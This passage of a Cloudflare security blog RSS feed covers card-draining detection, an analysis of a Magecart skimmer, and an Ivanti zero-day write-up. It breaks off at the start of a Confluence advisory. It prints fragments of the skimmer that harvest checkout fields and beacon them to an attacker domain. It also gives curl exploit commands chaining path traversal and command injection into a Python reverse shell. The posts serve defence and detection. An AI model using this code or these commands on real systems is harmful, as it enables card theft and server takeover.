    <p>Use the 30-day payment paths hourly request volume baseline as the hourly rate limit for all requests with bot scores &lt; 30 on payment paths.  </p>
    <div>
      <h2>Suspected card draining on payment flows</h2>
      <a href="#suspected-card-draining-on-payment-flows">
        
      </a>
    </div>
    
    <div>
      <h3>What did we detect?</h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>On payment flows (<code>/</code>payment, <code>/checkout</code>, <code>/cart)</code>, we found certain hours of the day when either the hourly request volume from humans (or bots impersonating humans) or hourly payment success ratio spiked by more than <b>3 standard deviations</b> from their hourly baselines over the prior 30 days. This could be related to card draining where an attacker (either humans or bots impersonating humans) is trying to purchase goods using valid but stolen credits. Of course, marketing campaigns might also cause request and success ratio spikes, so additional context in the form of typical payment requests from a given IP address is essential context, as shown in the figure.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4dlOEPUAbCpazjvKJj2lzA/72342a72f7d0c9e3f350e44310aeeb70/image1.png" />
          </figure>
    <div>
      <h3>Why is this serious?</h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>Payment success ratio spikes coinciding with request spikes and high density of requests per IP address, in the absence of marketing campaigns or payment outages or other factors, <b>could</b> mean humans (or bots pretending to be humans) are making fraudulent purchases. Every successful transaction here could be a direct revenue loss or a chargeback in the making.</p>
    <div>
      <h3>What evidence supports it?</h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>We used a combination of bot signals and anomalies on <code>/payment</code>, <code>/checkout</code>, <code>/cart</code>:</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p><b>Bot</b></p></td><td><p>Bot Score &gt;= 30</p></td><td><p>High probability of human traffic which is expected to be allowed</p></td></tr><tr><td><p>Anomaly</p></td><td><p><b>Volume Z-Score </b>&gt; 3.0, calculated from request volume baseline for a given hour based on the past 30 days and evaluated each hour. This factors daily seasonality as well. </p></td><td><p>The attacker is making purchases at higher rates than normal shoppers</p></td></tr><tr><td><p>Anomaly</p></td><td><p><b>Success ratio Z </b>&gt; 3.0, calculated from success ratio baseline for a given hour based on the past 30 days and evaluated each hour. This factors daily seasonality as well. </p></td><td><p>Sudden increases in success ratio may mean valid cards being approved for purchase</p></td></tr><tr><td><p>Anomaly</p></td><td><p><b>IP density </b>&gt; 5, calculated from payment requests per IP in any given hour divided by the average payment requests for that hour based on the past 30 days </p></td><td><p>Humans with 5X more purchases than typical humans in the past 30 days is a red flag</p></td></tr><tr><td><p>Anomaly</p></td><td><p><b>JA4 diversity </b>&lt; 0.1, calculated from JA4s per payment requests in any given hour</p></td><td><p>JA4s with unusual hourly purchases are likely bots pretending to be humans</p></td></tr></table>
    <div>
      <h3>How do I mitigate this?</h3>
      <a href="#how-do-i-mitigate-this">
        
      </a>
    </div>
    <p><b>Identity-Based Rate Limiting:</b> Use IP density to implement rate limits for requests with bot score &gt;=30 on payment endpoints.</p><p><b>Monitor success ratio:</b> Alert on any hour when the <b>success ratio</b> for "human" traffic, with bot score &gt;=30 on payment endpoints, deviates by more than 3 standard deviations from its 30-day baseline.</p><p><b>Challenge:</b> If a high bot score request (likely human) hits <code>payment flows</code> more than 3 times in 10 minutes, trigger a challenge to slow them down</p>
    <div>
      <h2>What’s next: detections in the dashboard, AI-powered remediation </h2>
      <a href="#whats-next-detections-in-the-dashboard-ai-powered-remediation">
        
      </a>
    </div>
    <p>We are currently working on integrating these "toxic combination" detections directly into the Security Insights dashboard to provide immediate visibility for such risks. Our roadmap includes building AI-assisted remediation paths — where the dashboard doesn't just show you a toxic combination, but proposes the specific WAF rule or <a href="https://blog.cloudflare.com/api-abuse-detection/"><u>API Shield</u></a> configuration required to neutralize it.</p><p>We would love to have you try our Security Insights featuring toxic combinations. You can <a href="https://www.cloudflare.com/lp/toxic-combinations-security/"><u>join the waitlist here</u></a>. </p> ]]></content:encoded>
            <category><![CDATA[Application Security]]></category>
            <guid isPermaLink="false">1IAvxHyuyoZKYW249A4AvF</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Himanshu Anand</dc:creator>
        </item>
        <item>
            <title><![CDATA[Navigating the maze of Magecart: a cautionary tale of a Magecart impacted website]]></title>
            <link>https://blog.cloudflare.com/navigating-the-maze-of-magecart/</link>
            <pubDate>Mon, 04 Mar 2024 14:00:21 GMT</pubDate>
            <description><![CDATA[ E-commerce websites were targeted by a sophisticated Magecart attack, involving a hidden JavaScript code designed to secretly steal Personally Identifiable Information (PII) and credit card details from users ]]></description>
            <content:encoded><![CDATA[ <p></p><p>The Cloudflare security research team reviews and evaluates scripts flagged by <a href="https://developers.cloudflare.com/page-shield/">Cloudflare Page Shield</a>, focusing particularly on those with low scores according to our machine learning (ML) model, as <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection">low scores indicate the model thinks they are malicious</a>. It was during one of these routine reviews that we stumbled upon a peculiar script on a customer’s website, one that was being fetched from a zone unfamiliar to us, a new and uncharted territory in our digital map.</p><p>This script was not only obfuscated but exhibited some suspicious behavior, setting off alarm bells within our team. Its complexity and the mysterious nature piqued our curiosity, and we decided to delve deeper, to unravel the enigma of what this script was truly up to.</p><p>In our quest to decipher the script's purpose, we geared up to dissect its layers, determined to shed light on its hidden intentions and understand the full scope of its actions.</p><p>The Infection Mechanism: A seemingly harmless HTML <code>div</code> element housed a piece of JavaScript, a trojan horse lying in wait.</p>
            <pre><code>&lt;div style="display: none; visibility: hidden;"&gt;
&lt;script src="//cdn.jsdelivr.at/js/sidebar.min.js"&gt;&lt;/script&gt;
&lt;/div&gt;</code></pre>
            <p><i>The script was the conduit for the malicious activities</i></p>
    <div>
      <h2>The devil in the details</h2>
      <a href="#the-devil-in-the-details">
        
      </a>
    </div>
    <p>The script hosted at the aforementioned domain was a piece of obfuscated JavaScript, a common tactic used by attackers to hide their malicious intent from casual observation. The obfuscated code can be examined in detail through the <a href="https://radar.cloudflare.com/scan/6cc5856d-f16d-496d-bfe0-f635bd75bec8/summary">snapshot</a> provided by Cloudflare Radar URL Scanner.</p><p>Obfuscated script snippet:</p>
            <pre><code>function _0x5383(_0x411252,_0x2f6ba1){var _0x1d211f=_0x1d21();return _0x5383=function(_0x5383da,_0x5719da){_0x5383da=_0x5383da-0x101;var _0x3d97e9=_0x1d211f[_0x5383da];return _0x3d97e9;},_0x5383(_0x411252,_0x2f6ba1);}var _0x11e3ed=_0x5383;(function(_0x3920b4,_0x32875c){var _0x3147a9=_0x5383,_0x5c373e=_0x3920b4();while(!![]){try{var _0x5e0fb6=-parseInt(_0x3147a9(0x13e))/0x1*(parseInt(_0x3147a9(0x151))/0x2)+parseInt(_0x3147a9(0x168))/0x3*(parseInt(_0x3147a9(0x136))/0x4)+parseInt(_0x3147a9(0x15d))/0x5*(parseInt(_0x3147a9(0x152))/0x6)+-parseInt(_0x3147a9(0x169))/0x7*(-parseInt(_0x3147a9(0x142))/0x8)+parseInt(_0x3147a9(0x143))/0x9+-parseInt(_0x3147a9(0x14b))/0xa+-parseInt(_0x3147a9(0x150))/0xb;if(_0x5e0fb6===_0x32875c)break;else _0x5c373e['push'](_0x5c373e['shift']());}catch(_0x1f0719){_0x5c373e['push'](_0x5c373e['shift']());}}}(_0x1d21,0xbc05c));function _0x1d21(){var _0x443323=['3439548foOmOf',
.....</code></pre>
            <p>The primary objective of this script was to steal Personally Identifiable Information (PII), including credit card details. The stolen data was then transmitted to a server controlled by the attackers, located at <a href="https://jsdelivr\[.\]at/f\[.\]php">https://jsdelivr\[.\]at/f\[.\]php</a>.</p>
    <div>
      <h2>Decoding the malicious domain</h2>
      <a href="#decoding-the-malicious-domain">
        
      </a>
    </div>
    <p>Before diving deeper into the exact behaviors of a script, examining the hosted domain and its insights could already reveal valuable arguments for overall evaluation. Regarding the hosted domain <code>cdn.jsdelivr.at</code> used in this script:</p><ul><li><p>It was registered on 2022-04-14.</p></li><li><p>It impersonates the well-known hosting service <a href="https://www.jsdelivr.com/">jsDelivr</a>, which is hosted at <code>cdn.jsdelivr.net</code>.</p></li><li><p>It was registered by 1337team Limited, a company known for providing bulletproof hosting services. These services are frequently utilized in various cybercrime campaigns due to their resilience against law enforcement actions and their ability to host illicit activities without interruption.</p></li><li><p>Previous mentions of this hosting provider, such as in a tweet by <a href="https://twitter.com/malwrhunterteam/status/1374703390748520448">@malwrhunterteam</a>, highlight its involvement in cybercrime activities. This further emphasizes the reputation of 1337team Limited in the cybercriminal community and its role in facilitating malicious campaigns.</p></li></ul>
    <div>
      <h2>Decoding the malicious script</h2>
      <a href="#decoding-the-malicious-script">
        
      </a>
    </div>
    <p>Data Encoding and Decoding Functions: The script uses two functions, <code>wvnso.jzzys</code> and <code>wvnso.cvdqe</code>, for encoding and decoding data. They employ Base64 and URL encoding techniques, common methods in malware to conceal the real nature of the data being sent.</p>
            <pre><code>var wvnso = {
  "jzzys": function (_0x5f38f3) {
    return btoa(encodeURIComponent(_0x5f38f3).replace(/%([0-9A-F]{2})/g, function (_0x7e416, _0x1cf8ee) {
      return String.fromCharCode('0x' + _0x1cf8ee);
    }));
  },
  "cvdqe": function (_0x4fdcee) {
    return decodeURIComponent(Array.prototype.map.call(atob(_0x4fdcee), function (_0x273fb1) {
      return '%' + ('00' + _0x273fb1.charCodeAt(0x0).toString(0x10)).slice(-0x2);
    }).join(''));
  }</code></pre>
            <p>Targeted Data Fields: The script is designed to identify and monitor specific input fields on the website. These fields include sensitive information like credit card numbers, names, email addresses, and other personal details. The <code>wvnso.cwwez</code> function maps these fields, showing that the attackers had carefully studied the website’s layout.</p>
            <pre><code>"cwwez": window.JSON.parse(wvnso.cvdqe("W1siZmllbGQiLCAiaWZyYW1lIiwgMCwgIm4iLCAiTnVtYmVyIl0sIFsibmFtZSIsICJmaXJzdG5hbWUiLCAwLCAiZiIsICJIb2xkZXIiXSwgWyJuYW1lIiwgImxhc3RuYW1lIiwgMCwgImwiLCAiSG9sZGVyIl0sIFsiZmllbGQiLCAiaWZyYW1lIiwgMCwgImUiLCAiRGF0ZSJdLCBbImZpZWxkIiwgImlmcmFtZSIsIDAsICJjIiwgIkNWViJdLCBbImlkIiwgImN1c3RvbWVyLWVtYWlsIiwgMCwgImVsIiwgImVtYWlsIl0sIFsibmFtZSIsICJ0ZWxlcGhvbmUiLCAwLCAicGUiLCAicGhvbmUiXSwgWyJuYW1lIiwgImNpdHkiLCAwLCAiY3kiLCAiY2l0eSJdLCBbIm5hbWUiLCAicmVnaW9uX2lkIiwgMywgInNlIiwgInN0YXRlIl0sIFsibmFtZSIsICJyZWdpb24iLCAwLCAic2UiLCAic3RhdGUiXSwgWyJuYW1lIiwgImNvdW50cnlfaWQiLCAwLCAiY3QiLCAiQ291bnRyeSJdLCBbIm5hbWUiLCAicG9zdGNvZGUiLCAwLCAienAiLCAiWmlwIl0sIFsiaWQiLCAiY3VzdG9tZXItcGFzc3dvcmQiLCAwLCAicGQiLCAicGFzc3dvcmQiXSwgWyJuYW1lIiwgWyJzdHJlZXRbMF0iLCAic3RyZWV0WzFdIiwgInN0cmVldFsyXSJdLCAwLCAiYXMiLCAiYWRkciJdXQ==")),</code></pre>
            <p>Data Harvesting Logic: The script uses a set of complex functions ( <code>wvnso.uvesz</code>,  <code>wvnso.wsrmf</code>, etc.) to check each targeted field for user input. When it finds the data it wants (like credit card details), it collects ("harvests") this data and gets it ready to be sent out ("<a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrated</a>").</p>
            <pre><code>"uvesz": function (_0x52b255) {
    for (var _0x356fbe = 0x0; _0x356fbe &lt; wvnso.cwwez.length; _0x356fbe++) {
      var _0x25348a = wvnso.cwwez[_0x356fbe];
      if (_0x52b255.hasAttribute(_0x25348a[0x0])) {
        if (typeof _0x25348a[0x1] == "object") {
          var _0xca9068 = '';
          _0x25348a[0x1].forEach(function (_0x450919) {
            var _0x907175 = document.querySelector('[' + _0x25348a[0x0] + "=\"" + _0x450919 + "\"" + ']');
            if (_0x907175 != null &amp;&amp; wvnso.wsrmf(_0x907175, _0x25348a[0x2]).length &gt; 0x0) {
              _0xca9068 += wvnso.wsrmf(_0x907175, _0x25348a[0x2]) + " ";
            }
          });
          wvnso.krwon[_0x25348a[0x4]] = _0xca9068.trim();
        } else {
          if (_0x52b255.attributes[_0x25348a[0x0]].value == _0x25348a[0x1] &amp;&amp; wvnso.wsrmf(_0x52b255, _0x25348a[0x2]).length &gt; 0x0) {
            if (_0x25348a[0x3] == 'l') {
              wvnso.krwon[_0x25348a[0x4]] += " " + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
            } else {
              if (_0x25348a[0x3] == 'y') {
                wvnso.krwon[_0x25348a[0x4]] += '/' + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              } else {
                wvnso.krwon[_0x25348a[0x4]] = wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              }
            }
          }
        }
      }
    }
  }</code></pre>
            <p>Stealthy Data Exfiltration: After harvesting the data, the script sends it secretly to the attacker's server (located at <a href="https://jsdelivr\[.\]at/f\[.\]php">https://jsdelivr\[.\]at/f\[.\]php</a>). This process is done in a way that mimics normal Internet traffic, making it hard to detect. It creates an Image HTML element programmatically (not displayed to the user) and sets its src attribute to a specific URL. This URL is the attacker's server where the stolen data is sent.</p>
            <pre><code>"eubtc": function () {
    var _0x4b786d = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    if (wvnso.pqemy() &amp;&amp; !(wvnso.rnhok.indexOf(_0x4b786d) != -0x1)) {
      wvnso.rnhok.push(_0x4b786d);
      var _0x49c81a = wvnso.spyed.createElement("IMG");
      _0x49c81a.src = wvnso.cvdqe("aHR0cHM6Ly9qc2RlbGl2ci5hdC9mLnBocA==") + '?hash=' + _0x4b786d;
    }
  }</code></pre>
            <p>Persistent Monitoring: The script keeps a constant watch on user input. This means that any data entered into the targeted fields is captured, not just when the page first loads, but continuously as long as the user is on the page.</p><p>Execution Interval: The script is set to activate its data-collecting actions at regular intervals, as shown by the <code>window.setInterval(wvnso.bumdr, 0x1f4)</code> function call. This ensures that it constantly checks for new user input on the site.</p>
            <pre><code>window.setInterval(wvnso.bumdr, 0x1f4);</code></pre>
            <p>Local Data Storage: Interestingly, the script uses local storage methods (wvnso.hajfd, wvnso.ijltb) to keep the collected data on the user's device. This could be a way to prevent data loss in case there are issues with the Internet connection or to gather more data before sending it to the server.</p>
            <pre><code>"ijltb": function () {
    var _0x19c563 = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    window.localStorage.setItem("oybwd", _0x19c563);
  },
  "hajfd": function () {
    var _0x1318e0 = window.localStorage.getItem("oybwd");
    if (_0x1318e0 !== null) {
      wvnso.krwon = window.JSON.parse(wvnso.cvdqe(_0x1318e0));
    }
  }</code></pre>
            <p>This JavaScript code is a sophisticated tool for stealing sensitive information from users. It's well-crafted to avoid detection, gather detailed information, and transmit it discreetly to a remote server controlled by the attackers.</p>
    <div>
      <h2>Proactive detection</h2>
      <a href="#proactive-detection">
        
      </a>
    </div>
    <p><a href="/detecting-magecart-style-attacks-for-pageshield">Page Shield's existing machine learning algorithm</a> is capable of automatically detecting malicious JavaScript code. As cybercriminals evolve their attack methods, we are constantly improving our detection and defense mechanisms. An upcoming version of our ML model, an artificial neural network, has been designed to maintain high recall (i.e., identifying the many different types of malicious scripts) while also providing a low false positive rate (i.e., reducing false alerts for benign code). The new version of Page Shield's ML automatically flagged the above script as a Magecart type attack with a very high probability. In other words, our ML correctly identified a novel attack script operating in the wild! Cloudflare <a href="https://developers.cloudflare.com/page-shield/get-started/">customers with Page Shield enabled</a> will soon be able to take further advantage of our latest ML's superior protection for client-side security. Stay tuned for more details.</p>
    <div>
      <h2>What you can do</h2>
      <a href="#what-you-can-do">
        
      </a>
    </div>
    <p>The attack on a Cloudflare customer is a sobering example of the Magecart threat. It underscores the need for constant vigilance and robust client-side security measures for websites, especially those handling sensitive user data. This incident is a reminder that cybersecurity is not just about protecting data but also about safeguarding the trust and well-being of users.</p><p>We recommend the following actions to <a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">enhance security and protect against similar threats</a>. Our comprehensive security model includes several products specifically designed to safeguard web applications and sensitive data:</p><ol><li><p><a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/"><b>Implement WAF Managed Rule Product</b></a>: This solution offers robust protection against known attacks by monitoring and filtering HTTP traffic between a web application and the Internet. It effectively guards against common web exploits.</p></li><li><p><a href="/tag/waf-attack-score"><b>Deploy ML-Based WAF Attack Score</b></a>: Our ML-based WAF, known as <b>Attack Score</b>, is specifically engineered to defend against previously unknown attacks. It uses advanced machine learning algorithms to analyze web traffic patterns and identify potential threats, providing an additional layer of security against sophisticated and emerging threats.</p></li><li><p><b>Use</b> <a href="https://www.cloudflare.com/application-services/products/page-shield/"><b>Page Shield</b></a>: Page Shield is designed to protect against Magecart-style attacks and browser supply chain threats. It monitors and secures third-party scripts running on your website, helping you identify malicious activity and proactively prevent client-side attacks, such as theft of sensitive customer data. This tool is crucial for preventing data breaches originating from compromised third-party vendors or scripts running in the browser.</p></li><li><p><a href="https://developers.cloudflare.com/waf/managed-rules/"><b>Activate Sensitive Data Detection (SDD)</b></a>: <b>SDD</b> alerts you if certain sensitive data is being exfiltrated from your website, whether due to an attack or a configuration error. This feature is essential for maintaining compliance with data protection regulations and for promptly addressing any unauthorized data leakage.</p></li></ol><p>....</p><p><sup>1</sup></p><p>[1]: <a href="https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore">https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore</a></p><p>[2]: <a href="https://www.bizcommunity.com/Article/196/661/241908.html">https://www.bizcommunity.com/Article/196/661/241908.html</a></p><p>[3]: <a href="https://nationaldailyng.com/trend-micro-teams-up-with-interpol-to-fight-african-cybercrime-networks/">https://nationaldailyng.com/trend-micro-teams-up-with-interpol-to-fight-african-cybercrime-networks/</a></p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Magecart]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">4odIoq7Ft2hBT870pJ4OAf</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare’s AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability]]></title>
            <link>https://blog.cloudflare.com/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability/</link>
            <pubDate>Tue, 23 Jan 2024 14:00:48 GMT</pubDate>
            <description><![CDATA[ The issuance of Emergency Rules by Cloudflare on January 17, 2024, helped give customers a big advantage in dealing with these threats ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3RS6SAVZIQdSxkFz8zjeDM/77bd1b148c86f29e3d9d96e300bdf415/image1-2.png" />
            
            </figure><p>Most WAF providers rely on reactive methods, responding to vulnerabilities after they have been discovered and exploited. However, we believe in proactively addressing potential risks, and using AI to achieve this. Today we are sharing a recent example of a critical vulnerability (CVE-2023-46805 and CVE-2024-21887) and how Cloudflare's Attack Score powered by AI, and Emergency Rules in the WAF have countered this threat.</p>
    <div>
      <h3>The threat: CVE-2023-46805 and CVE-2024-21887</h3>
      <a href="#the-threat-cve-2023-46805-and-cve-2024-21887">
        
      </a>
    </div>
    <p>An authentication bypass (<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46805">CVE-2023-46805</a>) and a command injection vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21887">CVE-2024-21887</a>) impacting Ivanti products were recently disclosed and analyzed by <a href="https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis">AttackerKB</a>. This vulnerability poses significant risks which could lead to unauthorized access and control over affected systems. In the following section we are going to discuss how this vulnerability can be exploited.</p>
    <div>
      <h3>Technical analysis</h3>
      <a href="#technical-analysis">
        
      </a>
    </div>
    <p>As discussed in <a href="https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis">AttackerKB</a>, the attacker can send a specially crafted request to the target system using a command like this:</p>
            <pre><code>curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B</code></pre>
            <p>This command targets an endpoint (<b>/license/keys-status/)</b> that is usually protected by authentication. However, the attacker can bypass the authentication by manipulating the URL to include <b>/api/v1/totp/user-backup-code/../../license/keys-status/</b>. This technique is known as <a href="https://owasp.org/www-community/attacks/Path_Traversal">directory traversal</a>.</p><p>The URL-encoded part of the command decodes to a Python reverse shell, which looks like this:</p>
            <pre><code>;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';</code></pre>
            <p>The Python reverse shell is a way for the attacker to gain control over the target system.</p><p>The vulnerability exists in the way the system processes the <b>node_name</b> parameter. If an attacker can control the value of <b>node_name</b>, they can inject commands into the system.</p><p>To elaborate on 'node_name': The 'node_name' parameter is a component of the endpoint /api/v1/license/keys-status/path:node_name. This endpoint is where the issue primarily occurs.</p><p>The attacker can send a GET request to the URI path <b>/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;</b> where CMD is any command they wish to execute. By using a semicolon, they can specify this command in the request. To ensure the command is correctly processed by the system, it must be URL-encoded.</p><p>Another code injection vulnerability was identified, as detailed in the blog post from AttackerKB. This time, it involves an authenticated command injection found in a different part of the system.</p><p>The same Python reverse shell payload used in the first command injection can be employed here, forming a JSON structure to trigger the vulnerability. Since the payload is in JSON, it doesn't need to be URL-encoded:</p>
            <pre><code>{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}</code></pre>
            <p>Although the <b>/api/v1/system/maintenance/archiving/cloud-server-test-connection</b> endpoint requires authentication, an attacker can bypass this by chaining it with the previously mentioned directory traversal vulnerability. They can construct an unauthenticated URI path <b>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection</b> to reach this endpoint and exploit the vulnerability.</p><p>To execute an unauthenticated operating system command, an attacker would use a curl request like this:</p>
            <pre><code>curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'</code></pre>
            
    <div>
      <h3>Cloudflare's proactive defense</h3>
      <a href="#cloudflares-proactive-defense">
        
      </a>
    </div>
    <p>Cloudflare WAF is supported by an additional AI-powered layer called <a href="/stop-attacks-before-they-are-known-making-the-cloudflare-waf-smarter/">WAF Attack Score</a>, which is built for the purpose of catching attack bypasses before they are even announced. Attack Score provides a score to indicate if the request is malicious or not; focusing on three main categories until now: XSS, SQLi, and some RCE variations (Command Injection, ApacheLog4J, etc.). The score ranges from 1 to 99 and the lower the score the more malicious the request is. Generally speaking, any request with a score below 20 is considered malicious.</p><p>Looking at the results of the exploitation example above of CVE-2023-46805 and CVE-2024-21887 using Cloudflare’s dashboard (Security &gt; Events). Attack Score analysis results consist of three individual scores, each labeled to indicate their relevance to a specific attack category. There's also a global score, "WAF Attack Score", which considers the combined impact of these three scores. In some cases, the global score is affected by one of the sub-scores if the attack matches a category, here we can see the dominant sub-score is Remote Code Execution “WAF RCE Attack Score”.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/qkPQsiNBaL4HSooddJ7Mv/8e308dc48932a8ea859414bd664bbab3/image2-2.png" />
            
            </figure><p>Similarly, for the unauthenticated operating system command request, we received “WAF Attack Score: 19” from the AI model which also lies under the malicious request category. Worth mentioning the example scores are not fixed numbers and may vary based on the incoming attack variation.</p><p>The great news here is: customers on Enterprise and Business plans with WAF attack score enabled, along with a rule to block low scores (e.g. <code>[cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20</code>) or (<code>[cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq</code> "<code>attack</code>") for Business, were already shielded from potential vulnerability exploits that were tested so far even before the vulnerability was announced.</p>
    <div>
      <h3>Emergency rule deployment</h3>
      <a href="#emergency-rule-deployment">
        
      </a>
    </div>
    <p>In response to this critical vulnerability, Cloudflare <a href="https://developers.cloudflare.com/waf/change-log/2024-01-17---emergency-release/">released Emergency Rules on January 17, 2024</a>, Within 24 hours after the proof of concept went public. These rules are part of its Managed Rules for the WAF, specifically targeting the threats posed by CVE-2023-46805 and an additional vulnerability, CVE-2024-21887, also related to Ivanti products. The rules, named "Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887," are developed to block attempts to exploit these vulnerabilities, providing an extra layer of security for Cloudflare users.</p><p>Since we deployed these rules, we have recorded a high level of activity. At the time of writing, the rule was triggered more than 180,000 times.</p>
<table>
<thead>
  <tr>
    <th><span>Rule ID</span></th>
    <th><span>Description</span></th>
    <th><span>Default Action</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>New Managed Rule…34ab53c5</span></td>
    <td><span>Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887</span></td>
    <td><span>Block</span></td>
  </tr>
  <tr>
    <td><span>Legacy Managed Rule</span><br /><span>100622</span><br /></td>
    <td><span>Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887</span></td>
    <td><span>Block</span></td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Implications and best practices</h3>
      <a href="#implications-and-best-practices">
        
      </a>
    </div>
    <p>Cloudflare's response to CVE-2023-46805 and CVE-2024-21887 underscores the importance of having robust security measures in place. Organizations using Cloudflare services, particularly the WAF, are advised to ensure that their systems are updated with the latest rules and configurations to maintain optimal protection. We also recommend customers to deploy rules using Attack Score to improve their security posture. If you want to learn more about Attack Score, contact your account team.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Cloudflare's proactive approach to cybersecurity using AI to identify and stop attacks, exemplified by its response to CVE-2023-46805 and CVE-2024-21887, highlights how threats and attacks can be identified before they are made public and vulnerabilities disclosed. By continuously monitoring and rapidly responding to vulnerabilities, Cloudflare ensures that its clients remain secure in an increasingly complex digital landscape.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Attack Score]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[AI WAF]]></category>
            <guid isPermaLink="false">4HVUjfTR7K6M1rk2RCgVkA</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Radwa Radwan</dc:creator>
            <dc:creator>Vaibhav Singhal</dc:creator>
        </item>
        <item>
            <title><![CDATA[All Cloudflare customers protected from the Atlassian Confluence CVE-2023-22515]]></title>
            <link>https://blog.cloudflare.com/all-cloudflare-customers-protected-atlassian-cve-2023-22515/</link>
            <pubDate>Wed, 04 Oct 2023 16:03:04 GMT</pubDate>
            <description><![CDATA[ On 2023-10-04 at 13:00 UTC, Atlassian released details of the zero-day vulnerability described as “Privilege Escalation Vulnerability in Confluence Data Center and Server” (CVE-2023-22515), a zero-day vulnerability impacting Confluence Server and Data Center products ]]></description>
            <content:encoded><![CDATA[ <p></p><p>On 2023-10-04 at 13:00 UTC, Atlassian released details of the zero-day vulnerability described as “Privilege Escalation Vulnerability in Confluence Data Center and Server” (CVE-2023-22515), a zero-day vulnerability impacting Confluence Server and Data Center products.  </p><p>Cloudflare was warned about the vulnerability before the advisory was published and worked with Atlassian to proactively apply protective WAF rules for all customers. All Cloudflare customers, including Free, received the protection enabled by default. On 2023-10-03 14:00 UTC Cloudflare WAF team <a href="https://developers.cloudflare.com/waf/change-log/2023-10-04---emergency-release/">released</a> the following managed rules to protect against the first variant of the vulnerability observed in real traffic.</p><table><colgroup><col></col><col></col><col></col></colgroup><tbody><tr><td><p><span>Rule ID</span></p></td><td><p><span>Description</span></p></td><td><p><span>Default Action</span></p></td></tr><tr><td><p><span>New Managed Rules</span></p><p><span>…ec9f34e1</span></p></td><td><p><span>Atlassian Confluence - 